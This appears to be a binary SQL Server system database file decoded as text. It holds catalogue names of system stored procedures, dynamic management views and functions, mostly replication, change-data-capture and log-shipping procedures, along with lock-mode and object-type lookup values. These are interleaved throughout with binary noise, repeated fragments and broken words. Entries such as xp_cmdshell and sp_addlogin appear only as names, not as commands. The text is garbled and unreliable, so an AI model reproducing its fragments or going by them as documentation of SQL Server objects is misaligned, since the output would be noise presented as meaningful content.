`2L'200bbV Nlogin_token00gP ?`sp_changeobjectowner00jP ouZsp_helprolemember00JIF0;L;fdm_exec_plan_attributes00cV 
Tdm_xe_packages00P !tsp_SetAutoSAPasswordAndDisable00-V 2QXdm_logpool_stats00xAP brNsp_renamedb00cFV TTnfulltext_semantic_languages00-tX \BHXsp_cursorprepare00pQP :^YbLsp_depends004P Ok-l~sp_help_fulltext_catalog_components00t#cP ÒVsp_serveroption00_V 1Odm_pdw_nodes_os_memory_cache_clock_hands001V 6OVpdw_diag_events00V ybdm_pdw_online_backups00P &&dsp_columns_100_rowset200P ''psp_sparse_columns_100_rowset00@V ==jspt_table_privileges_view003 P 55vsp_MS_marksystemobjectwitherror00xTFNo\fn_cColvEntries_8000SsP zsp_MSreleasesnapshotdeliverysessionlock00\uP nsp_MSgettranlastupdatedtime00P !^sp_MSisallreplcolpk00$GP H\sp_MSgettools_path00P dsp_MSrepltrigcertgrant00ypP d%4lsp_MSmerge_metadataupgrade00~P bbrsp_MSrevokeconnectreplication00P Rsp_MSreplrole00P ט.Zsp_dropsubscriber003`FNv\fn_MSrepl_isdistdb00vZTF`lfn_basecolsofcomputedpkcol00atP jsp_MSretrieve_publication00P r(^sp_MSaddexecarticle00:P 7bsp_MSrepl_droparticle00 gP ?@tsp_MSarticle_synctran_commands00P GGvsp_MSscriptinsertconflictfinder00]rP g]xsp_script_reconciliation_delproc00˂P !lrsp_marksubscriptionvalidation00P F`sp_MStran_altertable00P ![bsp_MSdrop_merge_agent00L6P yjsp_MSdrop_subscriber_info00
GhP RY\sp_MSenum_merge_sd00
pTF		Xfn_cdc_get_jobid00
?,FNcdfn_cdc_map_time_to_lsn00chP \sp_MSrefresh_idrange_check_constraint00ƔP 93L3`sp_addmergepartition00AP @@dsp_check_subset_filter00܈P nnfsp_MSgetmetadatabatch9000P GZsp_MSgetmissingbm00GnP WlXsp_MStablechecks00_P 1\sp_MSloginmappingssp_MScheckforexpiredmergesubscriptions00%?wP 9B{fsp_MSreset_attach_state00~P bbrsp_MSrevokeconnectreplication00P qqpsp_MSupgrade_merge_history9000X wwTsp_replpostcmd00-X .zI{bsp_repl_generateevent00P Rsp_MSreplrole00P ט.Zsp_dropsubscriber003`FN\fn_MSrepl_isdistdb00/9P fsp_MSrepl_IsLastPubInSharedSubscription00P WWrsp_MSrepl_subscriptionsummary00P KK`sp_ORAcheckpublisher000eP sp_MSrepl_publicationsnapshotjobcontrol00vZTFlfn_basecolsofcomputedpkcol00atP jsp_MSretrieve_publication00:P !!psp_MSrepl_helparticlecolumns00P r(r(^sp_MSaddexecarticle00:P 77bsp_MSrepl_droparticle00 gP ?@?@tsp_MSarticle_synctran_commands00P GGvsp_MSscriptinsertconflictfinder00;P SShsp_MSscript_pub_upd_trig00aLP TTjsp_scriptsubconflicttable00]rP g]xsp_script_reconciliation_delproc00P __hsp_MSscriptcustomdelproc00˂P !lrsp_marksubscriptionvalidation00P FF`sp_MStran_altertable\&JVhr"j	<
"@
t4bhb
 
Nf	v6^b
\`N0-"B!Up00OV $rdm_pdw_nodes_exec_query_stats00P `YbZsp_helpconstraint00
IF1Hfn_dblog00AF֞pGeographyCollectionAggregate00@V vvDtraces00c+IFLLZfn_helpcollations00<V '(^dm_hadr_name_id_map00>hV ppdm_hadr_internal_wsfc_ag_logical_dbs00}Xs X MMTsp_audit_write00%FLIF%%nfn_remote_column_privileges00P 8]Y]vsp_assembly_dependencies_rowset00P __`sp_usertypes_rowset200CP iitsp_procedure_params_100_rowset00V !o!ohspt_columns_view_managed00KP qbsp_getVolumeFreeSpace00
3 FS,>`fn_cdc_increment_lsn00OP ĽĽ~sp_MSreplcheck_publish_withddladmin009P 9fsp_MSunmarkschemaobject00ZiP nzvsp_expired_subscription_cleanup00 ZP 	psp_MSscript_trigger_exec_rpc00jP -Rrsp_vupgrade_sysarticlecolumns00P lH{~sp_startmergepullsubscription_agent00P ''rsp_MSrepl_subdatatypemappings00P ttrsp_MSextractlastlsnfrombackup00f*P qdsp_MSsetfilteredstatus00stP nsp_MSrepl_changepublication00bP u.\sp_IHflushmetadata00P Sjsp_MSscript_sync_del_proc00V{P XXrsp_MSscript_missing_row_check00P o.psp_changesubscriptiondtsinfo00P \sp_IHscriptindexes00P dVsp_MSaddpeerlsn00P 2xpsp_help_log_shipping_monitor00OP xIyfsp_upgrade_log_shipping007P vsp_MSmark_expired_subscriptions00fP `sp_MSget_new_idrange00,.mP bsp_changemergearticle00|P [rsp_helpallowmerge_publication00kP 9-9xsp_MSget_subscriber_partition_id00P |MMpsp_MSchange_mergepublication00sdP @XeXTsp_MSdropretry00P Œbsp_MSmakearticleprocs00AoP Nrsp_MSgetcolordinalfromcolname00eP Dbfsp_MSevalsubscriberinfo00&P &fsp_MScheckexistsrecguid_ORAenumpublishertables00P ttrsp_MSextractlastlsnfrombackup00f*P dsp_MSsetfilteredstatus00stP nsp_MSrepl_changepublication00'7P $^sp_helpsubscription001
FNo)o)`fn_repltagcustomproc00bP u.u.\sp_IHflushmetadata00P wNwNvsp_MSscript_compensating_insert00P Sjsp_MSscript_sync_del_proc00V{P XXrsp_MSscript_missing_row_check00P opsp_changesubscriptiondtsinfo00P \sp_IHscriptindexes00VԴP SSfsp_ORAValidateRowFilter00CP nZsp_MShelp_profile00P dVsp_MSaddpeerlsn00yP nsp_setsubscriptionxactseqno00qP Tsp_replrethrow00jGP ))fsp_MSdrop_qreader_agent00leP Xjsp_MScheck_Jet_Subscriber00PP XZsp_MSdrop_article00*h4P RRjsp_hadr_get_target_server00P 2xIypsp_help_log_shipping_monitor00OP xIyfsp_upgrade_log_shipping00P lsp_cdc_disable_table_tranx00aP bsp_MSuniqueobjectname007P vsp_MSmark_expired_subscriptions00ŨP WWhsp_MSgetfiltercolumnlist00ZP sp_MSdelete_specifiedcontentsandtombstone00fP `sp_MSget_new_idrange00,.mP bsp_changemergearticle00|P [ursp_helpallowmerge_publication00kP 9-9xsp_MSget_subscriber_partition_id<0(P~J$
|z

>X	l`~`z66(4
Vn`
P	tb,

"`I0	-"2\600V &&~dm_hadr_availability_replica_states00MV Vcmcbdm_broker_connections00@P Fsp_filestream_force_garbage_collection00RV jxdm_pdw_nodes_db_task_space_usage00"V xdm_db_mirroring_auto_page_repair00JPU d_pdw_health_components00|RV 'L\dm_pdw_dms_workers00TV o\dm_server_registry00)`IFM	c	`dm_logpool_consumers00TP ^ÒRsp_dropserver00	iP :.;Xsp_tables_rowset00[V uIuI`spt_tables_info_view00㜂V B{J{ZVIEW_COLUMN_USAGE00tFNnfn_generateparameterpattern00FP zdsp_MSenumsubscriptions00P zzsp_MSchange_retention_period_unit00D5!FNZfn_MSrepllinkname00WˬP +)Esp_vupgrade_MSsubscription_properties00TP 4GE{bsp_enableagentoffload00GyP *bH{psp_MSgrantconnectreplication00wP ԫ/bsp_drop_agent_profile00@P -Hrsp_changedistributor_password00pP /elsp_MScleanupdynsnapshotvws00ՌP hsp_MSrepl_testconnection00'TFnnfn_ORAenumarticlecolumninfo00<P ;\sp_IHarticlecolumn00t%P 1hsp_MSgettranconflictname00&HP a:a:`sp_IHdroppublication00Jz7P FFrsp_MSscript_compensating_send00_P Mi tsp_MSgettransarticlecolumnlist00OP Xhsp_MSadd_anonymous_agent00$9P BZ~sp_MSchecksharedagentforpublication00f^FN|fn_cdc_get_column_ordinal_internal00xvP hsp_MSget_temp_closed_gen00<P hdsp_MSfillupmissingcols00
P [rNsp_showcolv00I=P 3bsp_showrowreplicainfo00P bsp_mergearticlecolumn00P Tfsp_mergecleanupmetadata00n
P VEsp_MShelpmergearticles_nonpartgroups00P u``zsp_MSenum_metadataaction_requests00U)P 9nsp_MSaddinitialsubscription00uP 9nsp_MSupdatesysmergearticles00P LTsp_MStablekeys00l8}P 8~^sp_MSset_oledb_prop_agent_profile00wP ԫ/bsp_drop_agent_profile00@P -/rsp_changedistributor_password00P ߼0hsp_help_datatype_mapping00pP /lsp_MScleanupdynsnapshotvws00=l{FN**lfn_MSrepl_ismergepublished00ՌP hsp_MSrepl_testconnection00'TFnnnfn_ORAenumarticlecolumninfo00_MP \sp_IHexecresultset00*FNmjfn_replreplacesinglequote00*-P sp_MSincrementpublicationminautonosynclsn00>P jsp_MSdoesfilterhaveparent00dz_P {{rsp_MSrepl_enumfullsubscribers00<P ;m\sp_IHarticlecolumn0091P %Xsp_articlefilter00t%P 11hsp_MSgettranconflictname00&HP a:a:`sp_IHdroppublication00Jz7P FFrsp_MSscript_compensating_send00_P MiMitsp_MSgettransarticlecolumnlist00AP nsp_MSvalidate_distpublisher00OP Xhsp_MSadd_anonymous_agent00͈P ViXsp_replmonitorhelpmergesessiondetail00LP k{YZsp_MShelp_article00P 8({Yjsp_MSdrop_anonymous_entry00$9P BZ~sp_MSchecksharedagentforpublication00t%P r\r\rsp_MSlogshippingsysadmincheck00f^FN|fn_cdc_get_column_ordinal_internal00xvP hsp_MSget_temp_closed_gen00<P hdsp_MSfillupmissingcols00
P [rNsp_showcolv00I=P 3Wbsp_showrowreplicainforlr@vF
4
f0:~th

<:b	@T6
x	f**
:N`0K"2gxXd00iP psp_fulltext_thesaurus_update00P ch-ltsp_help_fulltext_tables_cursor00Y!V AA\service_contracts$00FN~~bfn_is_signable_object00VuV \dm_db_script_level00YV ,ddm_server_audit_status00V `dm_pdw_request_steps00FT|GetGeographyTessellation_VarBinary00GV 6EPdm_pdw_waits00V ldm_pdw_nodes_os_sys_memory00>P wLsp_addtype00ZGV 

ndm_io_cluster_shared_drives00%xOX oooZsp_trace_setevent00&WAFUnGeometryCollectionAggregate00YjV +bpdw_health_components00yV [zxdm_pdw_nodes_db_file_space_usage00X ABIVsp_cursoroption00V Xdm_pdw_dms_cores00qKP HjJFsp_who200ΝV ++availability_group_listener_ip_addresses00DV fdm_pdw_nodes_os_threads00׵P [sp_estimated_rowsize_reduction_for_vardecimal00&V Ndm_os_tasks00V k-lffulltext_document_types00nP Zsp_revokedbaccess00RP 
,4,fsp_foreign_keys_rowset200ȯP ,3?3dsp_indexes_100_rowset200LCP ON`Njsp_tables_info_rowset2_6400fP 9ZFZdsp_tablecollations_10000(P _C_^sp_usertypes_rowset00/P lgvgrsp_procedure_params_90_rowset00bĶV vvZCOLUMN_PRIVILEGES00XFS66rfn_getProcessorUsage_internal00EFN99Xfn_isvalidhexstr00pP +Tsp_MSNonSQLDDL00}QP fsp_subscription_cleanup0076P zbsp_MSchange_retention00P Xsp_MSget_colinfo00!P 29zbsp_MSget_attach_state00)KP kdfsp_MSfixup_base_columns00j{P $$nsp_MSupdate_mqserver_distdb00P K\sp_MSget_oledbinfo00XVFN88pfn_replremoveleadingcomments00
>TFDaffn_MSconstraint_columns00nP dsp_subscriptionsummary006bP 66hsp_MSchangeschemaarticle00P 6fsp_MSrepl_changearticle00}wP rq3zsp_MShelptranconflictpublications00(fP }N^sp_MSreenable_check002P Zfsp_IHgetPublicationInfo007o/P \sp_IHScriptIdxFile00z
P Zsp_helpxactsetjob00oP mjsp_MSget_last_transaction00$P rYhsp_MSenum_distribution_s00
P }hsp_MSadd_merge_history9000.P VSYnsp_MSdist_activate_auto_sub00hrP 0*Zsp_MShelpdynamicsnapshotjobatdistributor00P 
pHysp_help_log_shipping_monitor_secondary00^P tIyvsp_cleanup_log_shipping_history00];P ttjsp_cdc_start_job_internal00P 

^sp_MSleveltombstone00P ^sp_MSmakegeneration00%UP tsp_MSaddmergetriggers_internal00IZP Hdsp_MSsubsetpublication00hP 44sp_MSget_dynamic_filters_function_list00tP Bsp_MSevaluate_logicalrecordparent_allcontentsrows00NdP ?Dzsp_MSdisable_use_partition_groups00gP BU<dsp_MShelpmergeidentity00pP Gjdsp_MSgetsubscriberinfo<01P Mtsp_MSdrop_asm_TableMaintenance00P X 1Zxp_sqlagent_param00=P RVsp_MSuniquename00.P Sx`sp_MSscriptdb_worker00,P Zsp_MSdbuseraccess00s P hsp_MSSetServerPropertiesore00)KP kdkdfsp_MSfixup_base_columns00X rrLxp_makecab`	x	l*	
2rdzrl>Lnl
Z~
8"^8
NnZn:Dl,.0`H0'"2|ͮ00LP C$Ijsp_describe_cursor_tables00&'(X }}sp_filestream_recalculate_container_size_internal00SP :bTsp_primarykeys00jYU \_dm_pdw_wait_stats00xdP Tsp_columns_100006eP Nsp_droprole00V tdm_os_memory_cache_clock_hands00zP qqXsp_trace_getdata00V x=x=Hobjects$00wCP (Hsp_fkeys008NP dsp_MSdrop_asm_tranrepl00P Lzjsp_MSCleanupForPullReinit00xcP }dsp_MSscript_begintrig200k9P '@fsp_vupgrade_mergetables00ڱP 3cjsp_MSrepl_backup_complete00%hP TA{bsp_MSisreplmergeagent00H!P X^Zsp_mapdown_bitmap002\FNrrbfn_replencryptversion004FNEE\fn_IHgettypestring00☩P |0`sp_replsetoriginator00~P Zsp_ORAgetprovider00JP Btsp_MSdrop_expired_subscription00!P L|L|Xsp_MSLockMatchID00V hVdm_repl_schemas00z^X ..dxp_controlqueueservice00[]P &sp_MSenumdistributionagentproperties00$P ;;jsp_replmonitorsynchronize00"P YoJy|sp_MSadd_log_shipping_error_detail00mP tsp_MScdc_ddl_database_triggers00FNffn_cdc_next_right_quote00mWFN\fn_cdc_get_min_lsn00}V hdm_cdc_log_scan_sessions00AP )jsp_registercustomresolver00oP 		psp_helpmergelogfileswithdata00v&P 8sp_MSgenerate_articlechangemembershipevaluation_proc00l?P :dsp_MSgetviewcolumnlist00P dsp_MSget_shifted_colv1006uP sp_lightweightmergemetadataretentioncleanup00ZP sZsp_MSfilterclauserepl_snapshot_helppublication00JP Btsp_MSdrop_expired_subscription00!P L|L|Xsp_MSLockMatchID000P fsp_ORAGetTablespaceInfo00mqP |sp_MSdetectinvalidpeersubscription00V hVdm_repl_schemas00z^X ..dxp_controlqueueservice008lP Ylsp_MSadd_logreader_history003P Y^sp_MSenum_logreader00[]P &sp_MSenumdistributionagentproperties00epP )Zsp_MSchangedynsnaplocationatdistributor00$P ;;jsp_replmonitorsynchronize00AP ]Gyrsp_logshippinginstallmetadata00a@5P iisp_delete_log_shipping_secondary_database_internal00 P kksp_MSprocesslogshippingmonitorhistory00"P YoJy|sp_MSadd_log_shipping_error_detail00P ppIyrsp_add_log_shipping_alert_job00mP tsp_MScdc_ddl_database_triggers00FNffn_cdc_next_right_quote00dP dh`sp_MScdc_cleanup_job00mWFN\fn_cdc_get_min_lsn00}V hdm_cdc_log_scan_sessions00'P rsp_changetracking_time_to_csn00AP )jsp_registercustomresolver00㸀TFiivfn_MSdetermine_related_articles00oP 		psp_helpmergelogfileswithdata00v&P 8sp_MSgenerate_articlechangemembershipevaluation_proc0036P iiXsp_MSenumchanges00S~P 
kkvsp_MSenum_logicalrecord_changes00	oP qq~sp_MSlocalizeinterruptedgenerations00TkmP ||bsp_MSsetreplicastatus00O4P ԏԏRsp_MSexclause00l?P :dsp_MSgetviewcolumnlist00j{P ^sp_MScontractsubsnb00P dsp_MSget_shifted_colv1006uP sp_lightweightmergemetadataretentioncleanuprtjdLf	2VF2
<
vH	L	*2j4hj	dD
N

v`	0	'" ¹`00coV ñձfdm_audit_class_type_map00WIF?W^dm_logpoolmgr_stats00V Xdm_os_schedulers00R X MMNxp_cmdshell00V ^
{
dm_os_server_diagnostics_log_configurations00DV Pdm_pdw_nodes00ўIF`fn_remote_statistics00o)V a(|(jdm_hadr_instance_node_map00OP ÒRsp_setnetname00P \sp_special_columns00ͲP 88_8zsp_table_type_primary_keys_rowset00d+P CCrsp_check_constbytable_rowset200FȾP D{sp_MSreplcheck_subscribe_withddladmin00ZP sp_MSresetwatermarksforalternatepublishers002P 8zbsp_MSget_type_wrapper00P `sp_MSBumpupCompLevel004FOP :^rsp_MShelpconflictpublications00\P lsp_MSrepl_getpublisherinfo00P Vnsp_ORAenumarticlecolumninfo00P hN~sp_startmergepushsubscription_agent00P J`sp_MSdrop_pub_tables008P (1(1~sp_MSrepl_checkOraclepackageversion00P o7Tsp_droparticle00NP KKlsp_MSscript_update_pubwins00:KP mjsp_helptracertokenhistory00޻P 44vsp_MSvalidatepeertopeerarticles00(2P |sp_MSisqueuereaderjobnamegenerated00ӹP SY\sp_MSlock_auto_sub003P =tsp_replmonitorrefreshagentdata00;6=P 
N>rsp_MSrepl_subscription_rowset00P &iHysp_delete_log_shipping_secondary_database000FN!!rfn_cdc_db_name_from_job_entry00FN`fn_cdc_get_start_lsn00P \sp_MShelpdestowner00;+P sp_MSmerge_subbased_downloadonly_metadatacleanup00P sp_MSget_max_used_identity_from_distributor00KP cc`sp_MSenumgenerations00L"P Ӛlsp_MSdroparticletombstones00
P ΝVsp_MSdelsubrows v.Lsp_dsninfo004FOP :rsp_MShelpconflictpublications00\P lsp_MSrepl_getpublisherinfo00'P bsp_MSrepl_getdbmsinfo00ˢP Ydsp_dropdatatypemapping00P VVnsp_ORAenumarticlecolumninfo00P hN~sp_startmergepushsubscription_agent00P `sp_MSdrop_pub_tables00N^P ]]hsp_MSrepl_addpublication00_P ##sp_MSrepl_enable_heterogeneous_subscription00_WtP L0L0zsp_MSrepl_getOraclepackageversion008P (1(1~sp_MSrepl_checkOraclepackageversion00P o7Tsp_droparticle00cfP >dsp_MSactivate_auto_sub00NP KKlsp_MSscript_update_pubwins00:KP mjsp_helptracertokenhistory00ZP Vsp_IHXactSetJob00SP lsp_ORACheckLoopbackSupport00(P rsp_repltablehasnonpkuniquekey00޻P 44vsp_MSvalidatepeertopeerarticles00(2P |sp_MSisqueuereaderjobnamegenerated00ӹP SY\sp_MSlock_auto_sub003P ==tsp_replmonitorrefreshagentdata00seP KZ`sp_MSstopmerge_agent00;6=P 
NZrsp_MSrepl_subscription_rowset00P &iHysp_delete_log_shipping_secondary_database000FN!!rfn_cdc_db_name_from_job_entry00FN`fn_cdc_get_start_lsn00ɲP ))hsp_cdc_verify_index_name00NP DXsp_cdc_enable_db00pP fsp_MSfixlineageversions00P \sp_MShelpdestowner00;+P sp_MSmerge_subbased_downloadonly_metadatacleanup00cP hsp_MSadjustmergeidentitytworkload00P SS
pL	v>
@
* 
j	nP	F^z(rD
pl
	X2|N	
>| $	 $
(`O0	.".v/џ*00FP 	Lsp_indexes00>X ٫Vsp_showmemo_xml00 @FN{1jfn_GetRowsetIdFromRowDump00vV L_hdm_hadr_auto_page_repair00
V cudm_pdw_component_health_active_alerts00V dm_pdw_nodes_tran_database_transactions00sP Њ\sp_defaultlanguage00P mmnsp_procedure_params_managed00oobPCsp_scriptdropdelreconciliationproc_sqlclr00PP Jsp_MSacquireserverresourcefordynamicsnapshot00)P Zsp_MSadd_repl_job00P rxsp_MSupdatesharedagentproperties00sP bsp_unlink_publication009fP u0Yfsp_vupgrade_replication00_P k2[sp_MSupgrade_distdb_security_metadata00P gFH{Xsp_repladdcolumn00X ssVxp_repl_encrypt00P /jsp_change_agent_parameter00_P hpsp_MScleanupmergepublisherdb00*P psp_MSrepl_publicationsummary00P /\sp_helpdatatypemap00TP fsp_IHisarticlecolbitset00P |sp_MSrepl_helppublication_snapshot00
P sp_MSrepl_enable_articles_for_het_sub00wP 8Xsp_IHdroparticle00P Whsp_MSareallcolpkcomputed00P NyF^sp_replqueuemonitor00'P mnsp_deletetracertokenhistory00RLP absp_IHreplincrementlsn00"P ߐߐrsp_IHscript_missing_row_check00YP mjfsp_MSrepl_validatecache00bFNƕƕvfn_IHPublicationIsTransactional00/iP ~dsp_ORAhelpXactBatching00oV Xdm_repl_articles00mP fsp_MSchange_publication00LCP D5	hsp_MShelp_snapshot_agent004ZP bsp_cdc_extract_column00߮P Nsp_MSrefcnt00P 0~sp_MSaddmergetriggers_from_template00P Pzsp_addmergepushsubscription_agent00P ^VCdsp_MShelpmergearticles00P 9uQuxsp_enumeratependingschemachanges00nP uulsp_markpendingschemachange00_+P lsp_MSscriptsubscriberprocs00P !:tsp_MSgetrowmetadatalightweight00KdX tLxp_dirtreeFN\fn_MSrepl_getpubid00
P sp_MSrepl_enable_articles_for_het_sub00wP 88Xsp_IHdroparticle00GP *>*>Tsp_MSpublishdb00JP xIxIzsp_scriptpubwinsrefreshcursorvars00QP UUfsp_articlesynctranprocs00P WWhsp_MSareallcolpkcomputed00P Nym^sp_replqueuemonitor00'P mnsp_deletetracertokenhistory00RLP bsp_IHreplincrementlsn00"P ߐߐrsp_IHscript_missing_row_check00YP mmfsp_MSrepl_validatecache00bFNƕƕvfn_IHPublicationIsTransactional00/iP dsp_ORAhelpXactBatching00pP lsp_requestpeertopologyinfo00oV Xdm_repl_articles00yP \sp_distagentstatus00mP Xfsp_MSchange_publication00LCP D5SZhsp_MShelp_snapshot_agent00UP @SZsp_replmonitorsubscriptionpendingcmds00fvP F|Yvsp_MSadd_mergesubentry_indistdb00HiP gHZfsp_MSstopsnapshot_agent005P NZjsp_helpsubscriptionerrors00zP dWdWsp_hadr_validate_replica_hosts_as_publishers00n?P <gHysp_delete_log_shipping_secondary_primary00eDP @vIydsp_can_tlog_be_applied00t)fP 6~6~jsp_cdc_get_job_parameters004ZP bsp_cdc_extract_column00߮P Nsp_MSrefcnt$R\<lr	nr2:|
 T4


Z4VZ
	Zd0T8
l
* Jf0	`K0&",-џ00>_X DI`sp_resyncuniquetable00DV Zdm_os_latch_stats00V j\dm_io_backup_tapes00V dm_resource_governor_workload_groups00V |spt_parameters_numbered_parameters00P Jsp_tables00kWIFlfn_check_object_signatures00TP Tsp_foreignkeys00=V $~2vdm_hadr_database_replica_states00iU Vspt_server_info00D
1V ^dm_fts_memory_pools00
R1P *bsp_flush_commit_table00t3P >sp_fulltext_semantic_unregister_language_statistics_db00/)OP dr^sp_sproc_columns_9000?]P }![2hsp_dbmmonitorchangealert00w=dP D&S&bsp_columns_100_rowset00vV dm_pdw_nodes_tran_current_transaction00eyX )EFJsp_availability_group_command_internal00+ZV dm_resource_governor_resource_pool_affinity00P Tsp_createstats00tľP cϊNsp_addlogin00 P Ũdsp_MS_marksystemobject00P >>>lsp_table_privileges_rowset00;*P )XEXZsp_oledb_language00eN FS`fn_cdc_decrement_lsn00EP Xsp_execresultset00P ansp_MSdroparticleconstraints00P յtsp_MStran_is_snapshot_required00 ܿP D{^sp_MSrepl_isdbowner00;P mnsp_MS_replication_installed00|P Xsp_MSfixupuseftp00gP fsp_droppullsubscription00ɳP rnsp_MSdrop_ins_conflict_proc00DP hsp_MSrepltrigpreparecert00P lsp_helpreplicationdboption00P Kfsp_MSsub_check_identity00ApP (Rpsp_MSrestoresavedforeignkeys00P TA{jsp_MSsetcontext_replagent00(X ttXxp_mergelineages00zFN^fn_MSrepl_checktype00P o.Xsp_droppublisher00kP +dsp_changedistpublisher00FNpdfn_MSis_col_replicated00@P fsp_MSrepl_articlecolumn00wP "jsp_MSrepl_helppublication00ҩP .lsp_setOraclepackageversion00BP 5J5Jlsp_MSscript_update_subwins00*,P mbsp_dropanonymousagent004P z!^sp_MSpost_auto_proc00P tlsp_ORACheckAdminPrivileges00P ~sp_getsubscription_status_hsnapshot00M8P 9|sp_refresh_heterogeneous_publisher00X ..bxp_createprivatequeue003X ..bxp_deleteprivatequeue00<"P Stsp_MSdrop_distribution_agentid00nP t]`sp_MSadd_merge_agent00P jsp_MSdrop_logreader_agent00
P fsp_MSadd_snapshot_agent00:uP f	Vsp_MSenum_merge00:FN

lfn_replmerge_get_cmdcounts00P q3iXpsp_MSgetmaxsnapshottimestamp00P 7|sp_MSchange_merge_agent_properties00P @'sp_replmonitorchangepublicationthreshold00m'P VZsp_validate_replica_hosts_as_publishers00[P 2`qsp_MSprocesslogshippingmonitorprimary00 P rIytsp_help_log_shipping_alert_job00P ^sp_cdc_enable_table00xP Xsp_cdc_start_job00j,FNdfn_cdc_map_lsn_to_time00-tP M	rsp_MSchangemergeschemaarticle00:P !#jsp_helpmergearticlecolumn00qJP fsp_helpmergelogsettings00)P Ybsp_MSgettablecontents00UP ;|sp_MSinsertlightweightschemachange00yA X abZsp_OAGetErrorInfomergelineages00zFN$p
	Z.X
NL
n	h
Vr
V<HB$	|,(2~rv4
X
``cY{_.Ww6LR 4LOCK RESOURCESP  P  P  P  P  P  P  P  6DC :DATABASE CATEGORY6J  8COMPATIBLE TYPES6F  BSYSREMOTELOGINS TYPES6EODDN<EVENT NOTIFICATION6EOB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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!1	q5E``Sѐ5e0LR =LOCK RESOURCES0LR .LO'NUL0LR NU%DB0LR DB'FIL0LR FI'TAB0LR TA'PAG0LR PA'KEY0LR KE'EXT0LR 	EX'RID0LR 
RI'APP0LR AP%MD0LR MD'HBT0LR 
HB%AU0LS ?LOCK REQ STATUS0LS 0LO+GRANT0LS GR)CNVT0LS CN)WAIT0LS WA)RELN0LS RE+BLCKN0O  9OBJECT TYPES0O  *OB9system table0O  *sy)view0O  vi5user table0O  &usAstored procedure0O  2st/default0O   de)rule0O  ru/trigger0O   trgreplication filter stored procedure0O9TQsysobjects.type, reports0O9TMAF: aggregate function0O9T?AP: application0O9T;C : check cns0O9TOD : default (maybe cns)0O9TMEN: event notification0O9TGF : foreign key cns0O9TGFN: scalar function0O9TYFS: assembly scalar function0O9TWFT: assembly table function0O9TGIF: inline function0O9TUIS: inline scalar function0O9TEIT: internal table0O9T/L : log0O9TIP : stored procedure0O9T]PC : assembly stored procedure0O9TGPK: primary key cns0O9T1R : rule0O9TWRF: replication filter proc0O9TAS : system table0O9T7SN: synonym0O9T3SQ: queue0O9TITA: assembly trigger0O9TETF: table function0O9T7TR: trigger0O9T=U : user table0O9TEUQ: unique key cns0O9T1V : view0O9TQX : extended stored proc0O9TGSO: sequence objectP  P  P  P  P  P   P  @P  P  P  	P  
P  P  P  
 P  @P  P  P  P  P  P  P   P  @P  P  P  P  P  P  P   P  @P  P   P  !P  "P  #P  $P  % P  &@P  'P  (P  )P  *P  +P  ,P  - P  .@P  /P  0P  1P  2P  3P  4P  5 P  6@P  7P  8P  9P  :P  ;P  <P  = P  >@P  ?P  @	P  A	P  B	P  C	P  D	P  E	 P  F	@P  G	P  H
P  I
P  J
P  K
P  L
P  M
 P  N
@P  O
P  PP  QP  RP  SP  TP  U P  V@P  WP  XP  YP  ZP  [P  \P  ] P  ^@P  _P  `
P  a
P  b
P  c
P  d
P  e
 P  f
@P  g
P  hP  iP  jP  kP  lP  m P  n@P  oP  pP  qP  rP  sP  tP  u P  v@P  wP  xP  yP  zP  {P  |P  } P  ~@P  P  P  P  P  P  P   P  @P  P  P  P  P  P  P   P  @P  P  P  P  !!!!!!!!!!!!!!!!!6kN1fI,~aD'
y\?"tW:oR5jM0eH+}`C&	x[>!sV9nQ4iL/dG*
|_B%wZ= 


z
a*ie
2

i
"
	|	M		lu.WK{P'kF^7`aY.#o6I  Bignore duplicate rows6A  @collation compatible6A  @use remote collationP  6A  Dlazy schema validationP  P  P  P  6@SRVBServer Administrators6AGEOD<AVAILABILITY GROUP!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!G3q`a*X6I  <ignore duplicate rows6J  "datetime6J  "datetimn6J  ,smalldatetime6L  S6LO STWS6LS RELN6O  2stored procedure6J  float6J  floatn6J  real6L  U6LO XTWS6LR TAB6LS BLCKN6J  int6J  intn6J  "smallint6J   tinyint6L  X6LO WFR6LR PAG6O   default6DC :ALL SETTABLE OPTIONS6J  money6J  moneyn6J  &smallmoney6L  IS6LR KEY6O  rule6A  dist6D  :trunc. log on chkpt.6L  IU6LR EXT6O   trigger6	L  IX6	LR RID6
L  SIU6
LR APP6L  SIX6LR MD6L  UIX6LR HBT6O  Xreplication filter stored procedure6
L  BU6
LR AU6L  "RangeS-S6L  "RangeS-U6A  dpub6D  8torn page detection6DC (Distributed6F_U trusted6I  $clustered6L  *RangeIn-Null6L  $RangeIn-S6L  $RangeIn-U6L  $RangeIn-X6L  "RangeX-S6L  "RangeX-U6L  "RangeX-X6 D   loading6 I  *hypothetical6@A   rpc out6@D  *pre recovery6@I  &statistics6A  (data access6D  &recoveringP  P  P  P  P  	P  
P  P  P  
